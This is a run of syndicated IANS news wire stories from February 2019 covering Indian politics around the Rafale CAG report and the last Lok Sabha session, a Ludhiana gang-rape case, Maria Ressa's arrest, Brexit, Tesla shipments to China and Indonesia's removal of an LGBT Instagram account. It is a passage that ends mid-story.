His remarks came after the government on Wednesday tabled the report of the Comptroller Auditor General (CAG) in Parliament which found that the deal was 2.86 per cent lower than the price negotiated by the UPA for 126 aircraft and also felt that the present capital acquisition system is unlikely to effectively support the IAF.

"Rahul Gandhi's lies have been exposed today. In the most shameless manner, Rahul Gandhi was distributing fake facts based upon lie, misrepresentation in the country," Prasad said, addressing a press conference at the party headquarters.

He said the life of lie is not long. "The Prime MInister (Narendra Modi), FInance Minister (Arun Jaitley) and Defence Minister (Nirmala Sitharaman) and all discussed issues in Parliament. And barring one or two, who had vested interests said that the Rafale deal was necessary," he said.

He said the serving Indian Air Force officers also said that for the safety of the nation, the Rafale deal was required.

"But Rahul Gandhi never discusses serious issues in Parliament as everything said there goes on record. He tells lies outside," he said.

Referring to the CAG report and the Supreme Court judgement on the Rafale deal, Prasad said, "Even two constitutional bodies have said that the process of procurement is clean and it is necessary for the safety of the nation."

He said the Supreme Court on December 14, 2018, had said that it interacted with the senior IAF officers who informed the court that India's adversaries had acquired the fifth generation stealth fighter and that India does not have a matching aircraft.

"The CAG report says for the last 15 years, no work was done. The procurement process was started in 2000. A request for proposal was made in 2007 and the bid was opened in November 2011," he said.

Hitting out at the then Congress-led United Progressive Alliance (UPA) government, the BJP leader said, "In 15 years, you cannot do any work. And then the deal was delayed again."

Attacking Gandhi, he said, "We had thought that Rahul Gandhi will go silent on the issue. But what I said yesterday I have to repeat today that the grandson of (former Prime Minister late) Indira Gandhi and son of (former Prime Minister late) Rajiv Gandhi will shamelessly tell lies we have not imagined."

"In the name of the dynasty he is on that post... there is no other qualificiation he has," he added.

--IANS

aks/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Punjab Police has arrested two men who had allegedly gang-raped a 21-year-old woman in Ludhiana district.

Police officials said on Wednesday that raids were being conducted at various places by different police teams to nab the remaining accused.

Those arrested so far include Jagroop Singh and Sadik Ali, Deputy Inspector General (DIG) of Police Ranbir Singh Khatra said. Both accused are residents of Ludhiana district.

Khatra said police investigations have revealed that six men were involved in the gang rape of the young woman on February 9 night when she was driving along a canal in a car with her male friend.

The victim had alleged that she was gang raped by at least 10 men after she and her friend were attacked and abducted.

Both were taken in their car to an isolated plot in the Issewal area of Ludhiana district and the woman was gang raped while her friend was held captive.

Police officials said that raids are being conducted to arrest the four other accused. These include Ajay Kumar, Syed Ali, Surma and another one (not yet identified but relative of Surma).

All the suspects are in the 25-30 age group, police officials said.

The police registered a case of rape and under other sections of the Indian Penal Code against the accused.

Khatra had earlier admitted that there were lapses by the local police in dealing with the matter due to which the gruesome crime took place.

Assistant Sub-Inspector Vijay Rattan was suspended for dereliction of duty as he had failed to investigate the matter seriously and did not inform his seniors about it after receiving a complaint about the incident.

The accused had called up a friend of the rape victim's friend and demanded a ransom of Rs 2 lakh. The friend approached the police following the call but the police did not take immediate action.

The couple were set free on Sunday following which they complained to the police.

--IANS

js/mag/

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)On the third day of her visit, Congress General Secretary Priyanka Gandhi Vadra met more party workers and leaders on Wednesday and sought details of their constituencies and the party organisation in their areas.

The 47-year-old, who has been assigned to oversee the politically crucial eastern Uttar Pradesh, was closeted with grass-root workers at the Congress office on Mall Avenue till early on Wednesday.

She told reporters that for now she was trying to understand the party structure and "ground realities" from the workers and was "learning a lot from them".

The focus, she added, was to get the basics on how to contest the Lok Sabha elections so that the party can improve its tally -- compared to the paltry two it won in 2014.

Back from Jaipur where her husband Robert Vadra is being questioned by the Enforcement Directorate, Gandhi began the meetings on Tuesday afternoon and the deliberations went on till early Wednesday morning.

The Congress is set to contest the Lok Sabha election in Uttar Pradesh on its own after the Samajwadi Party and Bahujan Samajwadi Party entered into an alliance but kept away the Congress.

Gandhi was meeting district presidents of the party and workers of six Lok Sabha seats after the initial round covered eight Lok Sabha constituencies, a party leader told IANS.

Other than getting detailed knowledge of every constituency, Gandhi also sought details such as booth numbers where the workers are from, the strength of voters there and their social media connectivity.

"We were asked if we have a Facebook account and whether we are active on Twitter. A form has been given to us to fill and submit," a worker said.

Leaders and party workers from Faizabad, Basti and Ambedkarnagar were among those who met her on Wednesday. Those from Gonda, Baansgaon, Sant Kabeernagar, Gorakhpur, Bahraich, Padrauna and Salempur Lok Sabha seats will interact with her later.

In another room, another party General Secretary, Jyotiraditya Scindia, who will oversee the region of western Uttar Pradesh, met party activists and leaders.

--IANS

md/mr/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A PIL has been filed in the Delhi High Court challenging the alleged "arbitrary and illegal" transfer of prosecuting officers of the Delhi government's Directorate of Prosecution and seeking departmental action against its director Pankaj Sanghi for "misusing" his powers.

The Public Interest Litigation (PIL) has been filed by social activist Brij Mohan Sehgal through his advocate Haider Abbas.

As per law, prosecutors in the Directorate of Prosecution are deputed to conduct criminal cases in subordinate courts on behalf of the state and, unlike employees of other government departments, can be transferred only to the Food Safety Department and the Police Training College.

Sehgal in his plea said that 12 prosecuting officers have been transferred to other departments by the Director of Prosecution. "The arbitrary and illegal transfers/postings of prosecuting officers are being done by the respondent (Sanghi) in blatant disregard of the law, despite the fact that there is a shortage of prosecuting officers in the Directorate of Prosecution against the number of criminal courts in Delhi because of which the criminal justice delivery system suffers," Sehgal said in his plea.

The plea seeks the court's direction to withdraw the transfers and get the officers posted in criminal courts.

Sehgal said he was forced to move court after Sanghi did not pay heed to a representation by him on October 20, 2018.

In his plea, he has cited an RTI reply of November 24, 2018, which states that of the 12 prosecuting officers, two have been transferred to the Special Investigation Team, one to the Delhi Commission for Women, four to the Delhi Home Department, two to the Chief Minister's Grievance Redress Cell and three to the state Law Ministry.

In each district, at least 10 per cent over and above the existing sanctioned strength of Assistant Public Prosecutors (APP) are not in the common pool, because of which court work is affected in the absence of APPs, it adds.

Sehgal said that it was because of shortage of prosecuting officers in the Directorate that a prosecutor is assigned duties in two-three courts.

Several pleas about shortage of prosecutors in the city are pending before the court, he added.

Sources said the Directorate of Prosecution has 183 assistant public prosecutors, 102 additional public prosecutors and 13 chief prosecutors. It is in the process of recruiting 47 more prosecutors.

( can be reached at amiya.k@ians.in)

--IANS

akk/rtp/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Maria Ressa, a high-profile Philippines journalist and vocal critic of President Rodrigo Duterte, was arrested on Wednesday in connection with "cyber libel" charges against her news website Rappler.

Rappler said the charges were over an article it published in 2012. Ressa was indicted in relation to that case last week which was slammed by Amnesty International as "yet another absurd legal attack" that amounted to "harassment".

Ressa, the chief executive of Rappler and a 2018 Time Person of the Year, called the accusation an attempt by Duterte's government to silence the publication, CNN reported.

She was formally arrested at Rappler's headquarters in Manila after being served an arrest warrant by Philippines National Bureau of Investigation (NBI) officers. Footage streamed on Facebook showed plainclothes officials speaking to the journalist, while several of the site's journalists live-streamed on Facebook and Twitter what was happening.

They were reportedly asked by the NBI to stop filming and taking photos.

Ressa has been indicted multiple times on libel and tax evasion charges described by critics as politically motivated and designed to silence independent media in the country.

According to reports, the latest charge against the journalist stemmed from a May 2012 report on a businessman's alleged ties to a former judge in the Philippines' top court.

The case comes under a controversial "cyber-libel" law, which came into force in September 2012, four months after the article in question was published.

Officials first filed the case against Ressa in 2017, but it was dismissed by the NBI because the one-year limit for bringing libel cases had lapsed. However, in March 2018, the NBI reopened the case.

The news website has reported extensively on Duterte's brutal war on drugs which earned praise from human rights advocates. But it made the site and its journalists a target of supporters of the Duterte administration.

Duterte's office denied the President's involvement in the prosecutions against Rappler, but he previously sparred with the company's employees that led to him banning Ressa and reporter Pia Ranada from Malacanang Palace, his official residence, over their coverage of his administration.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Pakistan government plans will crack down on "hate speech" on social media from next week and set up a new authority, which will enforce regulations for the digital, print and electronic media, Information Minister Fawad Chaudhry said here on Wednesday.

"We have created a mechanism through which we will control hate speech on social media. The problem is the digital media is taking over formal media and it is important to regulate it," Chaudhry said.

The minister said a working group, with representatives of the Federal Investigation Agency (FIA) and other security agencies, had been set up to regulate social media platforms, Geo News reported.

The government was planning a new body, Pakistan Media Regulatory Authority, which would enforce regulations for the digital, print and electronic media.

"We will monitor social media and work to eliminate fake accounts. People who violate Pakistan's cyber laws will be prosecuted. We want to encourage discourse and debate in the Pakistani society but that is not possible if people threaten each other over differences of opinion."

According to Chaudhry, several arrests have been made this week based on misuse of social media to issue fatwas and spread extremist narrative.

"In the next and coming weeks, you will ensure a strict crackdown on this. People will not be allowed to vent their extremist narrative on social media."

Meanwhile, the Council of Pakistan Newspaper Editors in a statement said every media category had its specific issues, nature and operating methods and handling all media categories with one single law would be akin to ignoring ground realities, reported the Express Tribune.

--IANS

soni/pcj

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Top opposition leaders on Wednesday called for the ouster of Prime Minister Narendra Modi as they rallied in the national capital in a show of strength but some of them admitted to differences within their ranks ahead of the Lok Sabha battle.

In fiery speeches, Chief Ministers Mamata Banerjee (West Bengal), N. Chandrababu Naidu (Andhra Pradesh) and Arvind Kejriwal (Delhi), whose AAP organised the public meeting near Jantar Mantar, described Modi and BJP President Amit Shah as threats to Indian democracy.

The rally, which drew thousands of mainly Aam Aadmi Party (AAP) supporters, also saw the participation of NCP chief Sharad Pawar, Farooq Abdullah of National Conference, Sharad Yadav, Ram Gopal Yadav of Samajwadi Party, DMK's Kanimozhi, CPI-M's Sitaram Yechury and rebel BJP MP Shatrughan Sinha among others.

"The current situation is worse than the Emergency," thundered Trinamool Congress leader Banerjee, saying attempts by the Modi government to frighten her by sending CBI officials will not succeed.

Naidu expressed the hope that Modi will become "ex-Prime Minister soon".

The Telugu Desam Party President attacked the Modi government over such issues as demonetization, farm distress, rising unemployment, misuse of CBI and other agencies as well as attacks on the federal structure.

Congress leader Anand Sharma, who took part in the rally despite persisting Congress-AAP tensions in Delhi, said there will be agreements among opposition parties at some places and none at some others. "However, attempts should be made in the country's interest."

Warning that the BJP was using the communal card ahead of the elections, Abdullah asked the opposition parties to forget "conflicts among ourselves" to forge a united anti-Modi alliance.

The usually combative Kejriwal asked people to pick an educated person as the next Prime Minister.

"Last time you appointed a 12th Class pass man for the post," he said as the crowd roared. "This time, vote for an educated man. A 12th pass is not wise enough... He does not consult anyone."

Pawar too took a dig at Modi and said the opposition needed to unite to "challenge the autocracy". He added: "It is imperative for the autocrat to go in the interest of the poor and to save democracy."

This was the biggest gathering of opposition leaders from across the country after the January 18 rally in Kolkata organised by the Trinamool Congress.

CPI-M's Yechury used characters from the Mahabharata to compare them with BJP leaders.

"Of the 100 Kauravas, people only know the names of Duryodhana and Dushasan. Similarly, of the many from BJP, we only know Modi and (Amit) Shah."

"We have to save the nation and remove the 'chowkidar' from his post. This fight (Lok Sabha election) will be a fight between Modi and the people," he added at the event where Left leaders for the first time shared a stage with Banerjee.

--IANS

spk-nks/mr

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Supreme Court on Wednesday gave no relief to five activists named in the Bhima Koregaon caste violence case and set aside a Bombay High Court order allowing another 90 days to the Maharashtra Police to file charge sheet.

The five accused activists -- Surendra Gadling, Sudhir Dhawale, Mahesh Rout, Roma Wilson and Soma Sen -- will not be able to have the benefit of default as the apex court said they now must apply for regular bail.

A trial court had under the Unlawful Prevention Activities Act granted the Maharashtra Police additional 90 days time to file a charge sheet that was beyond a 90-day deadline under the Code of Criminal Procedure.

The activists were arrested from various locations in August 2018 for their alleged role in instigating caste violence in Maharashtra's Bhima Koregaon village on January 1, 2018.

--IANS

pk/in

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Central government plans to operationalise Navi Mumbai airport by 2021-22, apart from creating additional infrastructure at existing airports in Delhi and Banagalore, Minister of State for Civil Aviation Jayant Sinha said on Wednesday.

Speaking at the CAPA India Aviation Summit, the Minister said that efforts are on to decongest existing airports in metro cities and that the civil enclave at the Hindon Air Force base is likely to be operationalised next month.

A civil enclave is an area allotted at an airport belonging to the armed forces for providing civilian air transport services.

Earlier, the Ministry of Defence agreed to make the Air Force base available for flight operations under the second round of the Regional Connectivity Scheme -- Udan -- (RCS-Udan).

The Air Force Station is located around 30 km away from downtown New Delhi and is spread over an area of over 55 sq km, making it one of the largest air bases in Asia. It is operated under the Western Air Command.

Besides, the Minister said, new runways are being constructed at Delhi and Bangalore airports.

On the national carrier Air India, he said that the government is trying to financially revive the airline.

Sinha said that the government has strengthened the airline's management and prepared a revival plan for the national passenger carrier.

According to the Minister, a SPV (special purpose vehicle) has been created which will take care of Rs 29,000 crore worth of debt. Air India Group has a total Rs 55,000-crore loan burden.

The revival plan comes after government's efforts to offload a majority stake in the airline failed in May 2018.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Veteran Samajwadi Party (SP) leader Mulayam Singh Yadav on Wednesday created a flutter in political circles when he heaped praise on Prime Minister Narendra Modi in the Lok Sabha and expressed his wish to see him re-elected to the office again.

"I wish all the members of this Lok Sabha win again and return to this House. The Prime Minister has worked for everyone. He tried to take everyone along with him. I hope he returns as Prime Minister again," he said in his valedictory speech on the last day of the 16th Lok Sabha.

Reacting to it, the Prime Minister acknowledged it with folded hands and later said "There is much to do to carry forward the development agenda. And Mulayam Singhji has given his blessings. I am very grateful to him."

His comments came on a day when SP members led by Dharmendra Yadav, protested in the House against the lathicharge by Uttar Pradesh Police on party workers in Allahabad on Tuesday that forced a brief adjournment.

Eyebrows were raised in the Opposition benches as Yadav's son Akhilesh has joined hands with SP's arch rival Bahujan Samaj Party (BSP) to oust Modi from power in the 2019 Lok Sabha polls.

Reacting to Mulayam's praise, Congress President Rahul Gandhi said that he disagreed with him.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Reliance Industries Ltd (RIL) Chairman Mukesh Ambani and Union Cabinet Minister Ravi Shankar Prasad are among Indians who have enrolled for e-Residency programme initiated by Estonia, said Riho Kruuv, Ambassador of Estonia to India here on Wednesday.

Launched in 2014, Estonia's e-Residency programme saw enrollment of over 2,174 Indians out of which 1,062 individuals applied in 2018.

The embassy said that around 286 new Estonian companies were created by Indians in the process majorly from startups and other freelancers working on sectors such as web designing, software programming, content writing and others.

"Reliance Industries has set up a research centre for Jio in Estonia which aims at understanding digital society of Estonia and the benefit it can offer to India and Indians," Kruuv stated.

The Ambassador also noted that Estonia is the world's first country to introduce an e-Residency programme that offers individual access to a government-issued digital ID, adding that it enables the opening of a global European Union (EU) company fully online while working from India.

--IANS

som/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Referring to the findings of experts in the Indian negotiating team for the Rafale deal, Congress President Rahul Gandhi said here on Wednesday the two major claims made by the government of cheaper deal and faster delivery of aircraft stood demolished.

"The two pillars of the Narendra Modi government's defence for the aircraft deal, of cheaper deal and faster delivery, stand demolished," said Gandhi.

Gandhi also dismissed as "eyewash" the Comptroller and Auditor General (CAG) of India's report on the controversial Rs 59,000 crore Rafale deal that the price of 36 jets, for which the NDA government signed an agreement in 2016, was 2.86 per cent lower than the rates negotiated by the UPA government for 126 aircraft.

"Experts who were part of the negotiating team have said Dassault Aviation (Rafale maker) has an order backlog of 83 aircraft and with a capacity of manufacturing only 11 aircraft per year, it will take eight years to clear the backlog.

"Thus, India will get its first Rafale much later than what was scheduled in the UPA deal. Not only that, they have also pointed out the final price offered by the French is 55.6 per cent higher than the benchmark price fixed by the negotiating team," Gandhi said.

Dismissing the CAG report, Gandhi said even the national auditor has admitted that the cost of India-specific enhancements for 126 aircraft with transfer of technology was cheaper than what is under the new deal without transfer of technology.

"Under the UPA deal, the India-specific enhancements along with transfer of technology was 11.11 million euro per aircraft whereas under the Modi deal, the cost for the same, that too without transfer of technology, is 36.11 million euro per aircraft. This is where all the corruption has happened," alleged Gandhi.

Reiterating his allegation of Modi's personal culpability in the deal, Gandhi said, "The Rafale issue has cut deep into the minds of the people, so much so that whenever someone says 'chowkidar,' the next words that follow are 'chor hai'."

"From corruption to procedural violation to divulging defence secret to his cronies, Modi has done all in the deal and one by one all the defences by his government and his ministers are getting demolished.

"The fact that the first Rafale will come to India only after Dassault clears its backlog of 83 aircraft demolishes the Modi government's claims of sacrificing the UPA deal for the purpose of emergency purchase," Gandhi remarked.

--IANS

and/arm/pcj

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)As the curtains came down on the 16th Lok Sabha on the last day of the Budget session, the members recalled their experiences, with some of them becoming emotional.

They also praised Speaker Sumitra Mahajan, the second woman Speaker of the Lok Sabha after Meira Kumar, for her efforts to run the House smoothly while the Prime Minister Narendra Modi enumerated a number of achievements during his tenure and also took jibes at his political opponents.

Here is what the leaders of different parties said:

* Narendra Modi: This Lok Sabha would be remembered for the highest number of women MPs, out of which 44 are first-timers. For the first time, maximum number of women ministers are in the Cabinet and we have two women ministers in the Cabinet Committee on Security.

India's self-confidence is at an all-time high. I consider this to be a very positive sign because such confidence gives an impetus to development. India is now the 6th largest economy and close to becoming 5-trillion dollar economy. Today world takes us seriously because it recognizes "full majority government". And the credit goes to the mandate given by the citizens in 2014.

This Lok Sabha has passed stringent laws against corruption and black money besides the GST. The GST passing in the House revealed the spirit of cooperation and bipartisanship.

* Congress leader K.C. Venugopal: Even though the government was not ready to approve us as a recognised opposition party, we cooperated in a larger way for a healthy legislative process. Sometimes, we had to take some aggressive steps also. On such occasions, you advised us and you used to criticize also in stronger words sometimes. For a healthy democracy, we feel that our job is to express the sentiments and anger of the people in this august House. That is the role of the Opposition. During the previous Lok Sabha also, the party that sat on the opposition benches did the same.

Now, our future lies in the hands of the people. We are going to face the electorate. We think that the people would take their own decision based on what this government has done during the last five years. We have very good expectations from the people.

* Samajwadi Party's Mulayam Singh Yadav: I wish all the members of this Lok Sabha win again and return to this House. The Prime Minister has worked for everyone. He tried to take everyone along with him. I hope he returns as Prime Minister again.

* Trinamool Congress' Sudip Bandopadhyay: The 16th Lok Sabha was full of excitement, tensions, anxiety, agitations, few good quality speeches, few unwanted and unexpected economic decisions and many other activities. All this brought life to the House. I wholeheartedly feel that I do not know what will happen after elections, whether they will come to this side or we will go to that side. We are hoping that we will go to that side. So, naturally, we will miss you at that time.

* BJD's Bhartruhari Mahtab: During the 16th Lok Sabha, the country witnessed, after a lapse of 30 years, a government which had a mandate of full majority. In 2014, the country gave a full majority, but at the same time, we should also understand the country also gave a fractured opposition. During these days in the 16th Lok Sabha, many changes have been made and a new history has been created. But there are certain instances, which we should forget as bad dreams.

It is necessary today that we do away with blame game and look forward to 2022 when this nation will be celebrating its 75th anniversary of Independence. This is the year, as I had said earlier also, when we will be celebrating many historic moments; and I would hope that when this country will be going to exercise its mandate, a new era will emerge and that morning will definitely be for a better tomorrow, for a better nation-building.

* NCP's Supriya Sule: During the last five years that we have spent together, we have had our good moments and some sober moments. I think, through you, we got an opportunity to learn so much.

* Apna Dal's Anupriya Patel: It has been an enriching experience to see how this great institution works, how every voice is heard and how every ideology across the country gets space like a flower in the beautiful bouquet. Although the five years of the 16th Lok Sabha have been full of disruptions over a range of issues affecting different states across the country, several historic Bills have also been passed.

* Revolutionary Socialist Party's N.K. Premchandran: I would like to make one suggestion: all of us talk about the 'discussion', 'debate' and 'decision' but at the same time, there should be 'dissent' also. The dissent of the opposition should be respected and honoured. Then only the beauty of the democracy will be there. Unfortunately, the dissent in the form of amendment or cut motions is not respected and it is not taken care of. That precedent and convention needs to be changed.

--IANS

bns-rak/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Tamil Nadu Chief Minister K. Palaniswami on Wednesday said a multi-disciplinary animal husbandry park will be set up in Salem district.

Announcing this in the Assembly, Palaniswami said the park will be set up on a 900 acre plot at an outlay of Rs 396 crore.

He said the proposed park will have an advanced veterinary hospital and modern cattle, poultry, domestic dog, bull breeds, sheep, goat farms to explain to the farmers about their scientific rearing.

Palaniswami said there will be a centre that would deal with refrigeration of milk, fish and eggs.

A business incubation centre will also be set up in the park, he added.

--IANS

vj/mag/bg

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)UK's Brexit Secretary Stephen Barclay on Wednesday downplayed the possibility of Prime Minister Theresa May seeking an extension to the negotiation period with the bloc in order to avoid a no-deal Brexit.

Barclay responded to questions on the BBC's flagship morning radio show after UK's chief Brexit negotiator Olly Robbins was apparently overheard in a Brussels bar saying that May would ask lawmakers to vote on whether they wanted to extend the negotiation period.

Declining to comment on the details of the recording, published by ITV News, Barclay said it was still May's policy to leave the bloc on March 29, two years after the Conservative Party leader triggered Article 50 of the Lisbon Treaty, which officially notified the EU of the UK's intention to leave and launched the negotiation period.

"It's not in anyone's interest to have an extension without any clarity," Barclay said.

In the recording, civil servant Robbins appeared to say the PM would in March give Members of Parliament in the House of Commons, the lower chamber of UK lawmaking, a choice to either back her withdrawal deal, which has struggled to make it through the Commons, or to extend Article 50, according to Efe news.

May's withdrawal deal, the result of over 18 months of negotiations with the EU, became lodged in the Commons after lawmakers rejected it by a historical margin last month then later passed an amendment to find legally-binding changes to the Irish backstop insurance policy on the open border in Ireland.

The backstop, one of the key pillars of the document, was rejected by right-wing Tories and the Democratic Unionist Party, a Northern Irish group propping up May's government, who said its constituents were opposed to any possibility that the UK territory could be subject to EU regulations while the rest of the UK was not.

The clause is a safety net policy to ensure there is no hard border between Northern Ireland and the Republic of Ireland if future talks with Brussels suddenly collapse.

In a Commons address on Tuesday, May was adamant that she can convince the EU to tweak the backstop, either by finding a so-called alternative arrangement, which the UK government was yet to specify, or by adding a fixed expiry date, or by granting the UK powers to unilaterally withdraw from it.

Opposition Labour Party leader Jeremy Corbyn accused the Tory leader of running down the clock on Brexit in a bid to get MPs to back her deal.

The EU has repeatedly warned that the withdrawal agreement would not be opened for further renegotiations - the bloc's institutions and remaining members states have already signed off on it.

--IANS

soni/ab

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Congress President Rahul Gandhi on Wednesday lauded former Prime Minister Manmohan Singh for the "precise" prediction concerning the "damage" caused by demonetisation, saying it was better than any other economist.

Gandhi made the remarks in his speech at the Congress Parliamentary Party meeting here.

"Manmohan Singhji, who in his economic wisdom saw 2 per cent damage by demonetisation... I don't know what mathematics he did, what calculations he did, but it turned out that it was the most precise, better than pretty much any other economist, so we thank him for that," Gandhi said.

Gandhi also made a special mention of party leader in the Lok Sabha Mallikarjun Kharge, who, he said, "fought great odds to give some terrific speeches".

He said that Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad and party's deputy leader in Rajya Sabha Anand Sharma "gave some very good speeches".

He also lauded other party members for their role in the Lok Sabha and the Rajya Sabha. The last session of the 16th Lok Sabha concluded on Wednesday.

The meeting was attended by UPA Chairperson Sonia Gandhi, besides Manmohan Singh, Azad, Kharge and Sharma.

--IANS

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Shanghai (Gasgoo)- The first batch of Tesla Model 3 vehicles is soon be to delivered to customers in China with the recent arrival of the cargo ship Glovis Symphony at Tianjin Port.

The carrier departed from San Francisco on January 23 and entered the Tianjin Port on February 12 after an 18-day journey. It is reported that another two cargo ships carrying the Tesla Model 3 cars, namely, Morning Cindy and Emerald Ace, are going to arrive at Shanghai Port and Tianjin Port respectively next week. Both two carriers came from San Francisco where Tesla vehicles make their way from its factory in Fremont to the loading dock.

Clients who ordered the first batch of Tesla Model 3 vehicles available for China received confirmation mails from the U.S.-based EV maker on November 16, 2018. Nevertheless, the delivery was deferred many times restricted by the bottleneck in production capacity.

To ramp up the production capacity and shorten the delivery period, the Tesla is accelerating the localization of vehicle manufacture in China by setting up a plant in Shanghai's Lingang Industrial zone, which is expected to achieve an annual capacity of 250,000 vehicles by 2020.

Tesla announced on January 4 that Chinese consumers are allowed to place an order for optional configuration sets of the Tesla Model 3's High Performance All-wheel Drive (AWD) version and Long Range AWD version on Tesla China's official website and at Tesla's experience centers in China from then on.

Before the latest shipment to China, cargo ship Glovis Captain transported around 3,000 Model 3 vehicles to the Zeebruggee port in Belgium in the first week of February. All cars will be handed over across Europe. The Tesla Model 3's inroads in China and Europe are significant for the company to execute its long-term profitability strategy.The West Bengal BJP on Wednesday said Chief Minister Mamata Banerjee, in Delhi for an opposition rally convened by the Aam Aadmi Party (AAP), should concentrate on governing her state properly rather than dreaming of becoming the prime minister.

"She (Banerjee) is busy in Delhi attending a dharna of Opposition leaders. This is a desperate attempt to hog the limelight. There are so many Opposition leaders... and everybody including Mamata Banerjee is fighting for the prime minister's post. She should pay attention to providing good governance in Bengal," said West Bengal BJP president Dilip Ghosh.

Terming the opposition parties rudderless, Ghosh said they are desperate to wrest power at any cost.

"The more these parties organise such rallies, the more will it be clear that Opposition leaders are rudderless and are afraid of (Prime Minister) Narendra Modi," he said.

Referring to BJP leader Mukul Roy being named in an FIR in the killing of a TMC MLA in Nadia district last week, Ghosh said Trinamool Congress government was trying to implicate BJP leaders and workers in false cases ahead of the Lok Sabha polls.

"The Trinamool is afraid of the BJP due to the growing popularity of our party in the state. That is why the TMC is implicating BJP leaders and cadres in false cases. We want to warn them that we will fight till the end and will not be cowed by such threats," he said.

"Why would the BJP be involved in the killing? Several of our party cadres and leaders have been rendered homeless or killed by TMC workers. We don't believe in the of killing," he said.

--IANS

dm/ssp/prs

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A court in Ludhiana on Wednesday sent three accused in the gang-rape of a 21-year-old woman to seven days' police remand.

The Punjab Police had arrested the three men who had allegedly gang-raped the young woman in Issewal area of Ludhiana district on February 9 night.

Police officials said on Wednesday that raids are being conducted at various places to nab the remaining accused. Those arrested so far include Jagroop Singh, Sadik Ali and Surma, Deputy Inspector General (DIG) of Police Ranbir Singh Khatra said.

The DIG said police investigations have revealed that six men were involved in the gang-rape of the victim when she was driving along a canal in a car with her male friend.

The victim had alleged that she was gang-raped by at least 10 men after she and her friend were attacked and abducted. Both were taken in their car to an isolated plot in Issewal area of Ludhiana district and the woman was gang-raped while her friend was held captive.

All the suspects are in the 25-30 age group, police officials said.

The police registered a case of rape and under other sections of the Indian Penal Code against the accused.

Khatra had earlier admitted that there were lapses by the local police in dealing with the matter due to which the gruesome crime took place.

Assistant Sub-Inspector Vijay Rattan was on Monday suspended for dereliction of duty as he had failed to investigate the matter seriously and did not inform his seniors about it after receiving a complaint about the incident.

The accused had called up a friend of the rape victim's friend and demanded a ransom of Rs 2 lakh. The friend approached the police following the call but the police did not take immediate action.

The couple were set free on Sunday after which they complained to the police.

--IANS

js/nir

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)BJP MLAs on Wednesday continued to create ruckus in the Karnataka Assembly demanding a judicial probe into the audio tape that allegedly mentioned Speaker K.R. Ramesh Kumar's name during a conversation between party leader B.S. Yeddyurappa and JD-S's Naganagouda Kandakur's son Sharanagouda on February 7.

"The ruling coalition partners Congress and Janata Dal-Secular are fixed on a Special Investigation Team (SIT) probing into the audio tape, but we cannot trust the government agencies with the inquiry," Bharatiya Janata Party (BJP) legislator R. Ashoka told the media here.

The audio tape issue has been rocking the House for the past two days, after the Speaker asked the state government to direct an SIT probe into it, and the BJP demanded a judicial inquiry.

With continuous protests by the BJP, the House was adjourned till 3.30 p.m. on Wednesday.

"We have been asking for a judicial probe or a House Committee probe into the issue to ensure a fair inquiry," Ashoka said.

On the Speaker's directive, Chief Minister H.D. Kumaraswamy on Monday ordered the SIT probe into the audio tape he released on February 8 to expose BJP state President Yeddyurappa's alleged attempt to lure Kandakur into joining the BJP.

The Speaker also wanted the inquiry report in the next 15 days.

The BJP, on the other hand, has been asserting that Yeddyurappa's voice in the audio tape was "doctored" and a SIT probe would lead to a witch hunt on its members.

Meanwhile, the state BJP chief also alleged that the coalition partners were trying to "attack the opposition leaders" after BJP MLA from Hassan, Preetham Gowda, claimed JD-S workers pelted stones at his residence in Hassan.

"Attempts are being made by the ruling party to intimidate the opposition leaders," Yeddyurappa told the media.

Amid the protests by the BJP in the House, the Karnataka Budget presented by Kumaraswamy on February 8, was yet to be discussed.

--IANS

bha/in/ab

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Actor Irrfan Khan, who was undergoing treatment for neuroendocrine tumour in London, is back in the country.

His arrival in the country has already led to speculation with some claiming that he will start shooting the sequel to "Hindi Medium" from February 22 and some stating that he is being treated at a hospital here.

A source close to the actor confirmed that the globally renowned star is back, but dismissed all other claims.

"Irrfan is back in Mumbai. But people are publishing all sorts of stories without any confirmation. They are not true," the source said.

"I will get an update on his health and when will he be resuming work when I meet the actor soon," the source added.

Back in March last year, Irrfan had revealed that he has been diagnosed with a rare tumour. Soon after, he went to London for treatment.

The source also said that "Hindi Medium 2" will happen, "but not sure when the shooting will start".

Directed by Saket Chaudhary, the 2017 hit film "Hindi Medium" revolves around a couple who want to give their daughter the best education so that she becomes accepted by the elite in society. It also features Pakistani actress Saba Qamar.

Dinesh Vijan's production "Hindi Medium 2" will flash-forward by a decade and will narrate the story of Irrfan's character Raj.

When IANS asked about the status of the sequel, Vijan said: "I will make an official announcement about the film in a fortnight."

--IANS

sug/nn/bg

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Popular social network Instagram on Wednesday suspended an account which published comics discussing the problems and acceptance issues faced by the Muslim LGBT community in Indonesia.

The move came after the government asked the social network to remove the gay-friendly account that allegedly published cartoons containing pornographic material and riling many in the country - home to the world's largest Muslim population.

The Ministry of Information and Communication alleged in a statement that the account, run by a user known only as @Alpantuni, violated the Electronic Information and Transactions Law by distributing content that "breached decency", according to Efe news.

The Ministry thanked users for their complaints which "accelerated the process" against the handle.

The comic strips, which showed Muslim gay characters and criticized homophobia and religious fundamentalism in the country, were targeted by a large number of Instagram users, who tagged the Ministry in their comments.

